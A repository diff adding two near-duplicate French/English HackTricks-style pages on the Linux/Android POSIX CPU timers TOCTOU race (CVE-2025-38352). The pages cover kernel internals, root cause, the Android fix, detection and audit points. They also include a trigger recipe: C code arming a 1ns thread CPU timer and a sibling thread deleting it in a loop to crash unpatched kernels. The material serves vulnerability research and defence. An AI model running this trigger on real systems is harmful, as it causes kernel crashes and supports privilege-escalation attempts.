Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo

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@@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Cette page documente une condition de course TOCTOU dans les POSIX CPU timers de Linux/Android pouvant corrompre l'état d'un timer et provoquer un crash du kernel, et pouvant, dans certaines circonstances, être exploitée pour une élévation de privilèges.
+
+- Composant affecté : kernel/time/posix-cpu-timers.c
+- Primitive : course d'expiration vs suppression lors de la sortie d'une tâche
+- Sensible à la configuration : CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (chemin d'expiration en contexte IRQ)
+
+Rappel rapide des internals (pertinent pour l'exploitation)
+- Trois horloges CPU assurent le comptage des timers via cpu_clock_sample() :
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime uniquement
+- CPUCLOCK_SCHED: task_sched_runtime()
+- La création d'un timer relie un timer à une tâche/pid et initialise les nœuds du timerqueue :
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming insère des éléments dans une per-base timerqueue et peut mettre à jour le cache next-expiry:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- La voie rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible :
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- L'expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file d'attente ; la livraison effective est différée :
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Deux modes de traitement des expirations
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l'expiration est différée via task_work sur la tâche cible
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est gérée directement dans le contexte IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Dans le chemin IRQ-context, la firing list est traitée en dehors de sighand.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Cause racine : TOCTOU entre l'expiration en contexte IRQ et la suppression concurrente lors de la terminaison d'une tâche
+
+Prérequis
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK est désactivé (chemin IRQ utilisé)
+- La tâche cible est en cours d'arrêt mais pas encore complètement reaped
+- Un autre thread appelle posix_cpu_timer_del() de manière concurrente pour le même timer
+
+Séquence
+1) update_process_times() déclenche run_posix_cpu_timers() en contexte IRQ pour la tâche en cours d'arrêt.
+2) collect_timerqueue() définit ctmr->firing = 1 et déplace le timer vers la liste temporaire des timers en cours d'exécution.
+3) handle_posix_cpu_timers() relâche sighand via unlock_task_sighand() pour délivrer les timers en dehors du verrou.
+4) Immédiatement après le déverrouillage, la tâche en cours d'arrêt peut être reaped ; un thread frère exécute posix_cpu_timer_del().
+5) Dans cette fenêtre, posix_cpu_timer_del() peut échouer à acquérir l'état via cpu_timer_task_rcu()/lock_task_sighand() et ainsi sauter la garde in-flight habituelle qui vérifie timer->it.cpu.firing. La suppression se poursuit comme si le timer n'était pas en firing, corrompant l'état pendant que l'expiration est traitée, conduisant à des crashes/UB.
+
+Pourquoi le mode TASK_WORK est sûr par conception
+- Avec CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, l'expiration est différée vers task_work ; exit_task_work s'exécute avant exit_notify, donc le chevauchement en contexte IRQ avec le reaping n'a pas lieu.
+- Même dans ce cas, si la tâche est déjà en train de se terminer, task_work_add() échoue ; le contrôle via exit_state rend les deux modes cohérents.
+
+Correctif (Android common kernel) et justification
+- Ajouter un early return si la tâche courante est en train de se terminer, conditionnant tout le traitement :
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Cela empêche d'entrer dans handle_posix_cpu_timers() pour les tâches en sortie, éliminant la fenêtre où posix_cpu_timer_del() pourrait manquer it.cpu.firing et entrer en concurrence avec le traitement d'expiry.
+
+Impact
+- La corruption de la mémoire kernel des timer structures lors d'expiry/deletion concurrente peut provoquer des crashs immédiats (DoS) et constitue un primitive puissant vers privilege escalation en raison des opportunités de manipulation arbitraire de l'état kernel.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+
+Runtime strategy
+- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Depuis un sibling thread, supprimer simultanément le même timer pendant que le target thread se termine :
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Facteurs aggravants : taux de tick élevé du scheduler, charge CPU, cycles répétés de sortie/recréation de threads. Le crash se manifeste généralement lorsque posix_cpu_timer_del() omet de détecter le firing en raison d'un échec du lookup/locking de la tâche juste après unlock_task_sighand().
+
+Detection and hardening
+- Mitigation : appliquer la garde exit_state ; préférer activer CONFIG_POSIX_CPU_TIMERS_TASK_WORK lorsque possible.
+- Observabilité : ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; alerter lorsque it.cpu.firing==1 est observé conjointement avec un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences de timerqueue autour de la sortie de la tâche.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() : sélection (chemin TASK_WORK vs IRQ)
+- collect_timerqueue() : définit ctmr->firing et déplace les nœuds
+- handle_posix_cpu_timers() : libère sighand avant la boucle de firing
+- posix_cpu_timer_del() : s'appuie sur it.cpu.firing pour détecter une expiration en vol ; cette vérification est ignorée lorsque le lookup/lock de la tâche échoue pendant exit/reap
+
+Notes for exploitation research
+- Le comportement divulgué est une primitive fiable de crash du kernel ; la transformer en élévation de privilèges nécessite typiquement un chevauchement contrôlable additionnel (durée de vie d'objet ou influence write-what-where) hors du périmètre de ce résumé. Traitez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des émulateurs/VMs.
+
+## Références
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}

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@@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Cette page documente une condition de course TOCTOU dans Linux/Android POSIX CPU timers qui peut corrompre l'état des timers et provoquer un crash du kernel, et qui, dans certaines circonstances, peut être exploitée pour du privilege escalation.
+
+- Composant affecté : kernel/time/posix-cpu-timers.c
+- Primitif : expiry vs deletion race lors de la terminaison d'une tâche
+- Sensible à la configuration : CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Rappel rapide des internals (pertinent pour l'exploitation)
+- Trois horloges CPU gèrent la comptabilité des timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime uniquement
+- CPUCLOCK_SCHED: task_sched_runtime()
+- La création d'un timer connecte un timer à une tâche/pid et initialise les nœuds de la timerqueue :
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- L'arming s'insère dans une per-base timerqueue et peut mettre à jour le next-expiry cache :
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Le chemin rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible :
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+Expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file ; la livraison effective est différée :
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Deux modes de traitement des expirations
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l'expiration est différée via task_work sur la tâche cible
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est traitée directement dans le contexte IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Dans le chemin IRQ-context, la firing list est traitée en dehors de sighand.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU entre l'expiration en IRQ et la suppression concurrente lors de la sortie de la tâche
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Cela empêche d'entrer dans handle_posix_cpu_timers() pour les tâches en train de se terminer, supprimant la fenêtre où posix_cpu_timer_del() pourrait rater cpu.firing et entrer en concurrence avec le traitement des expirations.
+
+Impact
+- La corruption de la mémoire du kernel des structures de timer lors d'une expiration/suppression concurrente peut provoquer des plantages immédiats (DoS) et constitue un vecteur puissant pour l'escalade de privilèges en raison des possibilités de manipulation arbitraire de l'état du kernel.
+
+Déclenchement du bug (conditions sûres et reproductibles)
+Build/config
+- Assurez-vous que CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n et utilisez un kernel sans le correctif lié à exit_state.
+
+Runtime strategy
+- Viser un thread sur le point de se terminer et lui attacher un CPU timer (par-thread ou horloge globale au processus) :
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Armez-le avec une expiration initiale très courte et un petit intervalle pour maximiser les entrées sur le chemin IRQ :
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- À partir d'un thread sibling, supprimer concurremment le même timer pendant que le thread cible se termine :
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: taux de tick du scheduler élevé, charge CPU, cycles répétés de sortie/re-création de threads. Le crash se manifeste typiquement lorsque posix_cpu_timer_del() ne remarque pas le firing parce que la recherche/verrouillage de la task échoue juste après unlock_task_sighand().
+
+Détection et durcissement
+- Mitigation : appliquer l'exit_state guard ; privilégier l'activation de CONFIG_POSIX_CPU_TIMERS_TASK_WORK lorsque c'est possible.
+- Observabilité : ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; générer une alerte lorsqu'on observe it.cpu.firing==1 en même temps qu'un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences du timerqueue autour du task exit.
+
+Points d'audit (pour les réviseurs)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() : sélection (TASK_WORK vs IRQ path)
+- collect_timerqueue() : met ctmr->firing et déplace les nœuds
+- handle_posix_cpu_timers() : libère sighand avant la boucle de firing
+- posix_cpu_timer_del() : s'appuie sur it.cpu.firing pour détecter une expiration en vol ; ce contrôle est ignoré lorsque la recherche/verrouillage de la task échoue pendant exit/reap
+
+Notes pour la recherche d'exploitation
+- Le comportement divulgué est un reliable kernel crash primitive ; le transformer en privilege escalation nécessite typiquement un chevauchement contrôlable supplémentaire (object lifetime ou write-what-where influence) hors du périmètre de ce résumé. Considérez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des emulators/VMs.
+
+## Références
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}